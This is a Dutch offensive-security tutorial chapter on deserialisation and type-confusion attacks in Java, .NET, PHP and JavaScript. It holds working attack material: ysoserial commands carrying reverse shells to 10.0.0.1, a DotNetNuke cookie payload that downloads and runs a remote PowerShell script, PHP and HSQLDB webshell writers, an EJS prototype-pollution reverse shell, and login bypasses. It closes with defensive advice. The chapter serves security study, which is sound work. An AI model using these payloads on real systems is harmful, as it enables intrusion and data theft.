Deserialisatie en Type Confusion

De koffer die je niet had ingepakt

Stel je voor dat je op vakantie gaat. Je pakt zorgvuldig je koffer in: shirts netjes gevouwen, schoenen in een zakje, toilettas bovenop. Bij aankomst in het hotel doe je de koffer open en alles zit er precies zo in als je het erin hebt gestopt. Dat is serialisatie en deserialisatie in een notendop. Je neemt een complex geheel — een garderobekast vol objecten — en perst het plat tot iets dat door een smal kanaal past (een kofferband, een netwerkverbinding, een database-kolom). Aan de andere kant pak je het weer uit en voila: alles staat weer op z’n plek.

Klinkt onschuldig. Is het ook, zolang jij degene bent die de koffer inpakt en jij degene bent die hem weer openmaakt.

Maar nu het leuke deel. Stel dat iemand anders je koffer inpakt. Iemand die je niet kent. Iemand die misschien, laten we zeggen, een stuk C4 tussen je overhemden heeft gestopt met een draadje aan de rits. Je maakt de koffer open en — boem.

Dat is deserialisatie-aanvallen in het kort. Je applicatie verwacht braaf ingepakte objecten, maar krijgt een zorgvuldig geconstrueerde bom aangeleverd. En het mooiste? De applicatie maakt die bom vrolijk open, want hij vertrouwt de koffer.

Het is een van die kwetsbaarheden waarvan je denkt: dit kan toch niet echt werken? Wie accepteert er nou willekeurige objecten van het internet en voert ze uit? Het antwoord, zoals zo vaak in de informatiebeveiliging, is: vrijwel iedereen.

Java doet het. .NET doet het. PHP doet het. Python doet het. Ruby doet het. Elke taal die ooit het briljante idee heeft gehad om objecten te serialiseren en weer te deserialiseren — wat ze allemaal hebben gedaan — heeft dit probleem. Het verschilt alleen in de manier waarop het misgaat en hoe spectaculair de explosie is.

In dit hoofdstuk gaan we door de grootste deserialisatie-rampen van de afgelopen tien jaar. We beginnen met de basis, lopen door Java’s beruchte gadget chains, maken kennis met .NET’s ViewState-nachtmerrie, bekijken PHP’s loose comparison-circus, en eindigen met JavaScript’s prototype pollution — een kwetsbaarheid die zo elegant is dat je er bijna respect voor krijgt.

Bijna.


Serialisatie: de basis

Wat is serialisatie?

Serialisatie is het proces van het omzetten van een in-memory object naar een formaat dat kan worden opgeslagen of verzonden. Deserialisatie is het omgekeerde: je neemt die platte data en bouwt het object weer op.

Object in geheugen  →  serialize()  →  bytes/tekst  →  opslag/netwerk
                                                           ↓
Object in geheugen  ←  deserialize() ←  bytes/tekst  ←  ontvanger

Waarom doen we dit? Omdat objecten in het geheugen van je programma leven, en geheugen is vluchtig. Als je een object wilt bewaren (in een database, op schijf, in een cookie) of wilt versturen (over HTTP, via een message queue, tussen microservices), dan moet je het plat slaan tot bytes.

Formaten

Er zijn grofweg drie categorieen:

Tekstgebaseerd (leesbaar voor mensen) - JSON: {"name": "Jan", "role": "admin"} - XML: <user><name>Jan</name><role>admin</role></user> - YAML: key-value pairs met witruimte

Binair (efficienter, niet leesbaar) - Java’s native serialisatie (ObjectOutputStream) - .NET’s BinaryFormatter - Python’s pickle - Protocol Buffers, MessagePack, CBOR

Hybride - PHP’s serialize(): O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";} - Base64-gecodeerde binaire data in JSON of cookies

Waar het misgaat

Het fundamentele probleem is dit: bij deserialisatie geef je de afzender controle over welk object er wordt aangemaakt en welke methoden er worden aangeroepen. Als de afzender een aanvaller is, dan kiest die aanvaller welke code jouw server uitvoert.

Bij tekstformaten zoals JSON is het risico beperkt — je krijgt strings, getallen, arrays en objecten zonder gedrag. Maar zodra je binaire formaten gebruikt die volledige objecten kunnen reconstrueren, inclusief hun klassen en methoden, dan geef je de afzender in feite een remote code execution primitief cadeau.

En dat is precies wat Java, .NET en PHP doen.


Java Deserialisatie

De patiënt zero van deserialisatie-aanvallen

Als er een moment was waarop de wereld wakker werd geschud over deserialisatie, dan was het november 2015. Chris Frohoff en Gabriel Lawrence presenteerden op AppSecCali hun onderzoek naar Java deserialisatie- kwetsbaarheden, en het was alsof iemand een granaat in een bijeenkomst van Java-ontwikkelaars gooide.

Het bleek dat vrijwel elke Java-applicatie die ObjectInputStream.readObject() gebruikte — en dat waren er ontelbaar veel — kwetsbaar was voor remote code execution. Niet door een bug in de applicatie zelf, maar door de combinatie van standaard Java-bibliotheken die op het classpath stonden.

Hoe het werkt

Java’s native serialisatie-mechanisme is ingebouwd in de taal. Elke klasse die java.io.Serializable implementeert, kan worden geserialiseerd naar een bytestream en weer teruggehaald:

// Serialisatie: object → bytes
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
oos.writeObject(myObject);

// Deserialisatie: bytes → object
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = ois.readObject();  // HIER GAAT HET MIS

Het probleem zit in readObject(). Deze methode doet niet alleen het object reconstrueren — het voert ook de readObject()-methode van het object zelf uit, als die bestaat. En bepaalde klassen in veelgebruikte bibliotheken hebben readObject()-implementaties die, als je ze slim aan elkaar knoopt, willekeurige code uitvoeren.

Gadget chains

Een gadget chain is een keten van bestaande klassen die, wanneer ze in de juiste volgorde worden geserialiseerd en gedeserialiseerd, leiden tot code execution. Denk aan een Rube Goldberg-machine van Java-objecten: het ene object roept een methode aan op het volgende, dat weer iets doet met het volgende, totdat uiteindelijk Runtime.exec() wordt aangeroepen.

De beroemdste chains komen uit Apache Commons Collections:

InvokerTransformer
    → ChainedTransformer
        → ConstantTransformer
            → TransformedMap
                → AnnotationInvocationHandler.readObject()
                    → Runtime.getRuntime().exec("COMMANDO")

Zes klassen. Allemaal standaard beschikbaar in vrijwel elke Java-applicatie die Apache Commons gebruikt — en dat is zo’n beetje elke Java-applicatie ooit geschreven.

ysoserial: het Zwitserse zakmes

ysoserial is de tool die dit allemaal toegankelijk maakt. Het genereert serialisatie-payloads voor tientallen gadget chains:

# Basis payload: voer 'id' uit via CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Reverse shell via CommonsCollections5 (base64 gecodeerd commando)
java -jar ysoserial.jar CommonsCollections5 \
  'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|{bash,-i}' > payload.bin

# Base64 output (handig voor HTTP parameters)
java -jar ysoserial.jar CommonsCollections1 'id' | base64

De {echo,BASE64}|{base64,-d}|{bash,-i} constructie is een truc om speciale tekens te vermijden in het commando. Je base64-encodeert je reverse shell, en laat bash het decoderen en uitvoeren.

Beschikbare gadget chains

Niet elke chain werkt op elk doel. Het hangt af van welke bibliotheken op het classpath van de server staan:

Gadget chain Vereiste bibliotheek
CommonsCollections1-7 Apache Commons Collections 3.x/4.x
Spring1-4 Spring Framework
Groovy1 Groovy
JRMPClient/Listener Java RMI (standaard JDK)
Hibernate1 Hibernate ORM
CommonsBeanutils1 Apache Commons Beanutils
Jdk7u21 JDK 7u21 (geen extra libs nodig)

Herkenning: hoe spot je Java serialisatie?

Dit is het makkelijke deel. Java-geserialiseerde objecten hebben een herkenbare handtekening:

Hex (magic bytes):

AC ED 00 05

Base64-gecodeerd:

rO0ABQ

Content-Type header:

Content-Type: application/x-java-serialized-object

Overal waar je rO0AB ziet in base64-data — cookies, parameters, headers, POST bodies — weet je dat er Java-serialisatie plaatsvindt. En overal waar Java-serialisatie plaatsvindt met onvertrouwde input, heb je een potentieel RCE-punt.

HSQLDB: de bonus-route

Soms hoef je niet eens een gadget chain te gebruiken. Als de applicatie HSQLDB als database gebruikt (wat vaker voorkomt dan je denkt, vooral in embedded Java-applicaties), dan kun je via SQL stored procedures direct Java-code uitvoeren:

-- Maak een procedure die commando's uitvoert via Runtime.exec()
CREATE PROCEDURE exec_cmd(IN cmd VARCHAR)
  LANGUAGE JAVA DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:java.lang.Runtime.exec'

-- Of schrijf een webshell naar het filesystem
CREATE PROCEDURE write_file(IN path VARCHAR, IN data VARBINARY(65535))
  LANGUAGE JAVA DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

CALL write_file('/var/www/html/shell.jsp',
  CAST('webshell_hex' AS VARBINARY(65535)))

Dit werkt omdat HSQLDB Java Language Routines ondersteunt — je kunt willekeurige Java-methoden aanroepen als stored procedures. Als je al SQLi of XXE hebt, is dit een directe escalatie naar RCE.

Het IB commando: web_deser_java

In Incompetent Bastard vind je dit terug als het web_deser_java commando. Het combineert de ysoserial payload-generatie met detectietips en de HSQLDB-route:

IB Tip: Check altijd het classpath van het doelwit voordat je gadget chains probeert. Kijk naar pom.xml, build.gradle, of de lib/ directory voor beschikbare bibliotheken. Geen Apache Commons Collections? Probeer Spring of Hibernate chains. Het classpath bepaalt je aanvalsvlak.

IB Tip: De {echo,BASE64}|{base64,-d}|{bash,-i} constructie in ysoserial omzeilt problemen met speciale tekens in shell-commando’s. Encodeer je reverse shell payload in base64 en laat het doel het zelf decoderen.

Werkend voorbeeld

Stel: je vindt een Java-webapplicatie die een geserialiseerd object accepteert in een POST-parameter. De applicatie gebruikt Apache Tomcat met Commons Collections 3.2.1 op het classpath.

Stap 1: Detectie

# Intercept het verzoek in Burp Suite
# Zoek naar base64 data die begint met rO0AB
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head -5
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469  ....sr..java.uti

De aced 0005 bevestigt: dit is een Java-geserialiseerd object.

Stap 2: Payload genereren

# Test met een eenvoudig commando
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER:8080/test' \
  | base64 -w 0 > payload.b64

# Als dat werkt, reverse shell
REVERSE_SHELL=$(echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64)
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c {echo,${REVERSE_SHELL}}|{base64,-d}|{bash,-i}" \
  | base64 -w 0 > payload.b64

Stap 3: Verzenden

# Vervang de originele parameter met de payload
curl -X POST https://target.com/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Stap 4: Luisteren

nc -nlvp 443
# Connection from target.com
# bash-4.4$ id
# uid=1001(tomcat) gid=1001(tomcat)

Zo eenvoudig is het. En dat is het angstaanjagende.


.NET Deserialisatie

Een ander ecosysteem, dezelfde ziekte

Als Java de patiënt zero was, dan is .NET de buurman die exact dezelfde symptomen vertoont maar volhoudt dat hij niet ziek is. Microsoft’s .NET framework heeft zijn eigen serialisatie-mechanismen, zijn eigen gadget chains, en zijn eigen spectaculaire manieren om remote code execution mogelijk te maken.

BinaryFormatter: de gevaarlijkste klasse in .NET

BinaryFormatter is zo gevaarlijk dat Microsoft het officieel als “onveilig” heeft bestempeld en afraadt het te gebruiken. Toch staat het in duizenden legacy-applicaties.

// Serialisatie
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(stream, myObject);

// Deserialisatie — HIER ONTPLOFT HET
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);  // RCE als de stream van een aanvaller komt

Net als bij Java voert BinaryFormatter code uit tijdens het deserialiseren. De reconstructie van het object triggert constructors, property setters, en callback-methoden die door een aanvaller gemanipuleerd kunnen worden.

ViewState: de verborgen aanvalsvector

ASP.NET’s ViewState is een mechanisme om de staat van een webpagina te bewaren tussen requests. Het is een geserialiseerd .NET-object dat wordt opgeslagen in een hidden form field:

<input type="hidden" name="__VIEWSTATE"
  value="wEPDwUKMTU5MjAzMDA0..." />

Als ViewState niet correct is beveiligd met een MAC (Message Authentication Code), dan kan een aanvaller de inhoud vervangen door een deserialisatie-payload. En raad eens: in oudere versies van ASP.NET was die MAC standaard uitgeschakeld.

TypeNameHandling in Json.NET

Json.NET (Newtonsoft.Json) is de meestgebruikte JSON-bibliotheek in .NET. Het heeft een feature genaamd TypeNameHandling die het mogelijk maakt om type-informatie mee te serialiseren:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd.exe", "/c calc"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Als TypeNameHandling is ingesteld op Auto, Objects, of All, dan interpreteert Json.NET het $type-veld en maakt het aangegeven object aan. In bovenstaand voorbeeld: het start cmd.exe via ObjectDataProvider.

ysoserial.net

Het .NET-equivalent van ysoserial is — verrassend genoeg — ysoserial.net. Het genereert payloads voor diverse .NET-serialisatie-formaten:

# ObjectDataProvider via XmlSerializer
ysoserial.exe -g ObjectDataProvider -f XmlSerializer \
  -c "cmd /c whoami" -o raw

# TypeConfuseDelegate via BinaryFormatter (base64 output)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter \
  -c "cmd /c whoami" -o base64

# WindowsIdentity via Json.Net
ysoserial.exe -g WindowsIdentity -f Json.Net \
  -c "cmd /c whoami" -o raw

Veelgebruikte .NET gadget chains

Gadget Formatter Doelwit
ObjectDataProvider XmlSerializer DotNetNuke, SharePoint
TypeConfuseDelegate BinaryFormatter ViewState, Remoting
PSObject BinaryFormatter PowerShell Exchange
WindowsIdentity Json.Net Web API’s met TypeNameHandling
TextFormattingRunProperties BinaryFormatter Exchange CVE-2021-42321

DotNetNuke: het schoolvoorbeeld

DotNetNuke (DNN) is een CMS dat berucht is geworden als deserialisatie- doelwit. De DNNPersonalization cookie bevat een geserialiseerd XML-object dat door de server wordt gedeserialiseerd bij elk request:

<profile>
  <item key="name" type="System.Data.Services.Internal.ExpandedWrapper`2[
    [System.Diagnostics.Process, System],
    [System.Windows.Data.ObjectDataProvider, PresentationFramework]
  ], System.Data.Services">
    <MethodName>Start</MethodName>
    <MethodParameters>
      <string>cmd.exe</string>
      <string>/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')</string>
    </MethodParameters>
    <ObjectInstance xsi:type="Process"/>
  </item>
</profile>

Je stopt dit in de DNNPersonalization cookie, stuurt een request naar de DNN-server, en je hebt remote code execution. De server pakt de “koffer” open zonder te kijken wat erin zit.

Het IB commando: web_deser_dotnet

Het web_deser_dotnet commando in IB combineert de DotNetNuke-aanval met de generieke ysoserial.net payload-generatie:

IB Tip: De DNNPersonalization cookie in DotNetNuke is een klassiek OSWE-examendoelwit. Als je DNN tegenkomt, controleer dan of de cookie geserialiseerde XML bevat en of er een MAC-validatie op zit.

IB Tip: Zoek in de source code naar BinaryFormatter, XmlSerializer, JavaScriptSerializer, en Json.Net met TypeNameHandling. Elk van deze is een potentiele deserialisatie-sink.

IB Tip: Base64-gecodeerde content in cookies, ViewState, en hidden form fields is een rode vlag. Decodeer het en kijk wat erin zit.


PHP Deserialisatie

De taal die alle beveiligingszonden heeft uitgevonden

PHP heeft een speciale plek in de geschiedenis van webbeveiliging. Het is de taal die SQL injection mainstream maakte, die register_globals bedacht, die eval() in een template-engine stopte, en die een serialisatieformaat heeft dat zo gevaarlijk is dat het een eigen categorie van kwetsbaarheden heeft gecreeerd.

unserialize(): het probleem

PHP’s serialize() zet een object om in een string-representatie:

<?php
class User {
    public $name = "Jan";
    public $role = "admin";
}

$user = new User();
echo serialize($user);
// O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}

En unserialize() doet het omgekeerde:

<?php
$data = 'O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";}';
$user = unserialize($data);
echo $user->role;  // "admin"

Het probleem? Wanneer je een object deserialiseert, roept PHP automatisch bepaalde “magic methods” aan:

Method Wanneer aangeroepen
__wakeup() Direct na deserialisatie
__destruct() Wanneer het object wordt vernietigd
__toString() Wanneer het object als string wordt gebruikt
__call() Wanneer een niet-bestaande methode wordt aangeroepen
__get() Wanneer een niet-bestaand property wordt gelezen

POP chains (Property Oriented Programming)

Net als Java’s gadget chains, kunt je in PHP bestaande klassen aan elkaar rijgen om code execution te bereiken. Het heet hier POP — Property Oriented Programming — omdat je de properties van objecten manipuleert om de chain te triggeren.

<?php
// Stel: deze klassen bestaan in de applicatie

class FileHandler {
    public $filename;
    public $content;

    public function __destruct() {
        // Schrijft content naar file bij object-destructie
        file_put_contents($this->filename, $this->content);
    }
}

class Logger {
    public $logFile;

    public function __toString() {
        return file_get_contents($this->logFile);
    }
}

// Aanvaller maakt een payload die een webshell schrijft:
$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";

// Serialiseer de payload
$payload = serialize($exploit);
// O:11:"FileHandler":2:{s:8:"filename";s:26:"/var/www/html/shell.php";
//   s:7:"content";s:34:"<?php system($_GET['cmd']); ?>";}

Wanneer de server unserialize($payload) aanroept, wordt het FileHandler-object aangemaakt. Zodra het script klaar is en PHP het object opruimt, wordt __destruct() aangeroepen, wat file_put_contents() aanroept met de door de aanvaller gecontroleerde filename en content. Webshell geschreven.

Phar deserialisatie

Dit is een bijzonder creatieve aanvalsvector. PHP Archive (phar) bestanden bevatten geserialiseerde metadata die automatisch wordt gedeserialiseerd wanneer een phar:// stream wrapper wordt gebruikt.

Het briljante eraan: veel PHP-functies die met bestanden werken, accepteren phar:// als protocol. Dus overal waar je een bestandspad kunt beinvloeden — file_exists(), is_dir(), fopen(), file_get_contents(), include() — kun je phar-deserialisatie triggeren:

<?php
// Maak een kwaadaardig phar-bestand
$phar = new Phar("exploit.phar");
$phar->startBuffering();

$exploit = new FileHandler();
$exploit->filename = "/var/www/html/shell.php";
$exploit->content = "<?php system(\$_GET['cmd']); ?>";

$phar->setMetadata($exploit);
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("dummy.txt", "dummy");
$phar->stopBuffering();

Nu upload je dit bestand (eventueel hernoemd naar exploit.jpg — PHP controleert de magic bytes, niet de extensie) en trigger je deserialisatie met:

<?php
// Ergens in de applicatie:
file_exists($_GET['path']);

// Aanvaller stuurt:
// ?path=phar://uploads/exploit.jpg/dummy.txt
// → PHP deserialiseert de metadata → __destruct() → webshell

IB Tip: Phar-deserialisatie werkt zelfs als unserialize() nergens in de code voorkomt. Zoek naar functies die bestandspaden accepteren waar je phar:// kunt injecteren. De lijst is lang: file_exists(), is_file(), is_dir(), filesize(), stat(), fopen(), file_get_contents(), file(), include(), require(), en meer.

IB Tip: Upload het phar-bestand met een .jpg of .gif extensie en prepend de juiste magic bytes om upload-filters te omzeilen. PHP’s phar-handler kijkt naar de interne structuur, niet naar de extensie.


Type Juggling (PHP)

Het circus van losse vergelijkingen

En nu komen we bij een kwetsbaarheid die zo absurd is dat je hem aan niet-technici kunt uitleggen en ze denken dat je een grap vertelt.

PHP heeft twee vergelijkingsoperatoren: - == (loose comparison): probeert waarden naar hetzelfde type te converteren voor vergelijking - === (strict comparison): vergelijkt waarde EN type

Het probleem is dat == dingen doet die geen enkel weldenkend mens zou verwachten:

<?php
// Welkom in PHP's type juggling circus
var_dump("0"  == false);    // true  — string "0" is falsy
var_dump(""   == false);    // true  — lege string is falsy
var_dump("0"  == null);     // false — MAAR "0" is niet null!
var_dump(""   == null);     // true  — lege string is null-achtig
var_dump(0    == "php");    // true  (PHP < 8.0) — "php" wordt 0
var_dump("1"  == "01");     // true  — numerieke strings worden vergeleken als getallen
var_dump("1"  == "1.0");    // true  — idem
var_dump(true == "anything"); // true — boolean true == elke niet-lege string

Je zou zeggen: wie schrijft er nu productie-code met ==? Het antwoord is: heel veel PHP-ontwikkelaars. Want == is het eerste wat je leert, het is korter, en “het werkt toch gewoon.” Tot het dat niet doet.

Magic hashes

Dit is waar het echt hilarisch wordt. PHP’s loose comparison behandelt strings die eruitzien als wetenschappelijke notatie als getallen:

<?php
var_dump("0e123"  == "0e456");   // true
var_dump("0e123"  == 0);         // true
var_dump("0e123"  == "0e99999"); // true

Waarom? Omdat 0e123 wordt geleinterpreteerd als 0 * 10^123 = 0. En 0e456 als 0 * 10^456 = 0. En 0 == 0 is true.

Nu het slechte nieuws: er bestaan strings waarvan de MD5-hash begint met 0e gevolgd door alleen cijfers:

Input MD5 hash
240610708 0e462097431906509019562988736854
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
PJNPDWY 0e291529052894702774557631701704
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536617

Dit betekent dat als een applicatie dit doet:

<?php
if (md5($user_input) == $stored_hash) {
    // Authenticatie geslaagd!
    login($user);
}

En de $stored_hash begint met 0e gevolgd door alleen cijfers, dan kun je inloggen door een van de bovenstaande magic hash inputs te gebruiken. Want 0e462... == 0e830... is true in PHP.

Je leest dit en je denkt: dit kan niet. Dit is te dom om waar te zijn. Maar het is waar, het werkt, en het is gevonden in echte applicaties.

JSON type confusion

Maar wacht, er is meer. Als een PHP-applicatie JSON accepteert, dan kun je types meesturen die de applicatie niet verwacht:

# Normaal login request
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "geheim_wachtwoord"}

# Type juggling aanval met boolean true
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}

Waarom werkt dit? Omdat in PHP:

<?php
// De applicatie doet:
if ($input_password == $stored_password) { ... }

// Met JSON input {"password": true}:
// $input_password is boolean true
// true == "elke_niet_lege_string" is TRUE in PHP

Boolean true is gelijk aan elke niet-lege string in PHP’s loose comparison. Je stuurt true als wachtwoord en je bent binnen.

Andere JSON-trucs:

# Integer 0 is gelijk aan strings die niet met een cijfer beginnen (PHP < 8.0)
{"password": 0}

# Array in plaats van string (crasht strcmp)
{"password": []}

strcmp() bypass

PHP’s strcmp() functie vergelijkt twee strings. Maar als je een array meegeeft in plaats van een string, returned het NULL:

<?php
// De applicatie doet:
if (strcmp($input, $stored) == 0) {
    // Authenticatie geslaagd!
}

// strcmp(array(), "wachtwoord") returns NULL
// NULL == 0 is TRUE in PHP
// → Authenticatie bypass

Dit exploit je door een array te sturen in plaats van een string:

# In een form POST:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything

De password[] syntax maakt er een PHP-array van. strcmp() krijgt een array, returned NULL, en NULL == 0 is true.

Het IB commando: web_type_juggle

Het web_type_juggle commando in IB bundelt de magic hashes, JSON type confusion, en strcmp() bypass technieken:

IB Tip: Zoek in PHP source code naar == (loose comparison). Elke plek waar gebruikersinput via == wordt vergeleken, is een potentieel type juggling doelwit.

IB Tip: Probeer bij login formulieren altijd een JSON body met boolean of integer waarden. Verander de Content-Type naar application/json en stuur {"password": true} of {"password": 0}.

IB Tip: Gebruik === (strict comparison) en password_verify() in je eigen code. Het is de enige manier om dit circus te stoppen.


Prototype Pollution (JavaScript)

Het DNA van objecten besmetten

Nu verlaten we de wereld van serialisatie en betreden we een kwetsbaarheid die uniek is voor JavaScript. Prototype pollution is het vermogen om de prototype-keten van JavaScript-objecten te manipuleren, waardoor je properties kunt injecteren in elk object in de applicatie.

Om te begrijpen hoe dit werkt, moet je begrijpen hoe JavaScript’s prototypesysteem in elkaar zit.

Prototypes in JavaScript

In JavaScript erven alle objecten van een prototype. Wanneer je een property opvraagt dat niet bestaat op het object zelf, zoekt JavaScript het op in de prototype-keten:

const user = { name: "Jan" };

// user heeft geen 'role' property
console.log(user.role);  // undefined

// Maar als we het prototype van alle objecten besmetten:
Object.prototype.role = "admin";

// Dan heeft IEDERE object in de applicatie nu 'role':
console.log(user.role);        // "admin"
console.log({}.role);           // "admin"
console.log(({}).role);         // "admin"

const newObj = {};
console.log(newObj.role);       // "admin"

Door een property toe te voegen aan Object.prototype, verschijnt dat property op elk object dat geen eigen role property heeft. Dit is het fundament van prototype pollution.

Hoe het wordt geexploiteerd

De aanval werkt via functies die objecten “deep mergen” — recursief properties kopieren van een bron-object naar een doel-object. Als de functie niet controleert op speciale property-namen, dan kan een aanvaller __proto__ gebruiken om het prototype te besmetten:

// Kwetsbare deep merge functie
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// Aanvaller stuurt:
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');

// Na de merge:
merge({}, malicious);

// Nu is IEDERE object "admin":
const user = {};
console.log(user.isAdmin);  // true

Detectie (blackbox)

In IB’s web_prototype_pollution commando staan de detectie-technieken:

# JSON input met __proto__
POST /api/update HTTP/1.1
Content-Type: application/json

{"__proto__":{"polluted":"yes"}}

# Alternatieve syntax via constructor
{"constructor":{"prototype":{"polluted":"yes"}}}

Na het versturen, controleer je of de pollution is gelukt:

// Als {}.polluted === "yes", dan is de applicatie kwetsbaar

Een agressievere test:

# Crash test: overschrijf toString
{"__proto__":{"toString":"crash"}}

Als de applicatie crasht na dit request, weet je dat prototype pollution werkt — je hebt toString() overschreven voor alle objecten, en zodra iets een object naar een string probeert te converteren, gaat het mis.

Van pollution naar RCE

Prototype pollution alleen is irritant maar niet catastrofaal. De echte schade ontstaat wanneer je het combineert met een template engine op de server. Dat is het moment waarop irritant escalieert naar remote code execution.

EJS (Embedded JavaScript):

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
  }
}

EJS gebruikt outputFunctionName intern om de output-functie te benoemen in gecompileerde templates. Door deze te overschrijven met JavaScript-code, wordt die code uitgevoerd wanneer de template wordt gerenderd.

Pug (voorheen Jade):

{
  "__proto__": {
    "block": {
      "type": "Text",
      "val": "x]];process.mainModule.require('child_process').exec('id');//"
    }
  }
}

Handlebars:

Handlebars heeft een complexere chain via compiler internals, maar het principe is hetzelfde: pollute een intern property dat wordt gebruikt tijdens template compilatie, en je code wordt uitgevoerd.

Kwetsbare bibliotheken

Het probleem zit niet in JavaScript zelf, maar in bibliotheken die “deep merge” of “deep extend” operaties uitvoeren zonder __proto__ te filteren:

Bibliotheek Kwetsbare versie Fix
lodash.merge < 4.6.2 Filtert __proto__ sinds fix
deep-extend Alle versies Gebruik alternatief
jQuery.extend (deep) < 3.4.0 Filtert prototype keys
hoistjs Alle versies Gebruik alternatief
defaults-deep Alle versies Gebruik alternatief
assign-deep Alle versies Gebruik alternatief

Belangrijk: Object.assign() is NIET kwetsbaar. Het doet een shallow copy en kopieert geen prototype-properties.

Detectie in source code

Als je whitebox-toegang hebt, zoek dan naar:

// Kwetsbaar: deep merge/extend zonder prototype check
merge(target, source)
extend(true, target, source)
_.merge(target, source)           // lodash < 4.6.2
$.extend(true, target, source)    // jQuery < 3.4.0

// NIET kwetsbaar:
Object.assign(target, source)     // shallow copy

Het IB commando: web_prototype_pollution

IB Tip: Combineer prototype pollution met een template engine voor een RCE-chain. EJS, Pug, en Handlebars hebben allemaal bekende pollution-naar-RCE gadgets.

IB Tip: WebSocket-parameters worden vaak minder gesanitized dan HTTP-parameters. Als je prototype pollution probeert, test dan ook WebSocket-endpoints.

IB Tip: Gebruik Object.create(null) voor objecten die als key-value stores worden gebruikt. Deze objecten hebben geen prototype en zijn immuun voor pollution. Alternatieven: Map of een expliciete hasOwnProperty() check.


De overkoepelende les

Laten we even een stap terug doen. We hebben nu vier verschillende kwetsbaarheden bekeken — Java deserialisatie, .NET deserialisatie, PHP type juggling, en JavaScript prototype pollution — en ze hebben allemaal hetzelfde fundamentele probleem:

We vertrouwen data van de gebruiker om objecten te maken.

Laat dat even bezinken. We nemen input van het internet — van willekeurige mensen, van bots, van aanvallers — en we gebruiken die input om objecten te construeren in het geheugen van onze server. Objecten met methoden. Objecten die code uitvoeren. Objecten die bestanden schrijven, processen starten, en databases leegrekken.

En we vinden dit normaal.

De hele software-industrie heeft collectief besloten dat het een goed idee is om de gebruiker te laten bepalen welke klasse er wordt geïnstantieerd, welke properties worden gezet, en welke methoden worden aangeroepen. We hebben hier design patterns voor gebouwd. We hebben er frameworks omheen getimmerd. We hebben er conferenties over gehouden.

En dan zijn we verbaasd als iemand een CommonsCollections1-payload stuurt en onze server overneemt.

Het is alsof je een restaurant runt waar de gasten hun eigen eten meenemen, het zelf opwarmen in je keuken, en het serveren aan andere gasten. En dan sta je perplex als iemand rattengif in de soep doet.

“Maar we hadden een bord bij de deur dat zei ‘geen rattengif’!”

Ja, en PHP heeft documentatie die zegt “gebruik geen unserialize() op onvertrouwde data.” En Java heeft een heel JEP (Java Enhancement Proposal) over serialisatiefilters. En .NET heeft BinaryFormatter als “deprecated” gemarkeerd.

En toch staan ze er allemaal nog. In productie. Op het internet. Nu.

Omdat het makkelijker is om een deprecated-label te plakken dan om code te herschrijven. Omdat legacy-systemen niet uit zichzelf verdwijnen. Omdat de ontwikkelaar die dit tien jaar geleden schreef er allang niet meer werkt. En omdat niemand het budget krijgt om iets te fixen dat “gewoon werkt” — totdat het dat niet meer doet.


Verdediging

Algemene principes

1. Deserialiseer nooit onvertrouwde data met type-informatie

Dit is de gouden regel. Als je data van een gebruiker ontvangt en die data bepaalt welk type object er wordt aangemaakt, dan heb je een probleem. Gebruik formaten die geen type-informatie bevatten (JSON zonder TypeNameHandling, protobuf met een vast schema) of valideer strikt welke types zijn toegestaan.

2. Whitelist klassen

Als je absoluut moet deserialiseren met type-informatie, gebruik dan een whitelist van toegestane klassen. Niet een blacklist — die is altijd incompleet.

Java (serialisatie-filter, JEP 290):

// Alleen specifieke klassen toestaan
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"
);
ObjectInputStream ois = new ObjectInputStream(stream);
ois.setObjectInputFilter(filter);

.NET:

// Gebruik System.Text.Json in plaats van Newtonsoft.Json
// Of als je Newtonsoft moet gebruiken:
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None  // NOOIT Auto/Objects/All
};

PHP:

<?php
// Gebruik allowed_classes parameter (PHP 7+)
$obj = unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// Of beter: gebruik helemaal geen unserialize() op user input
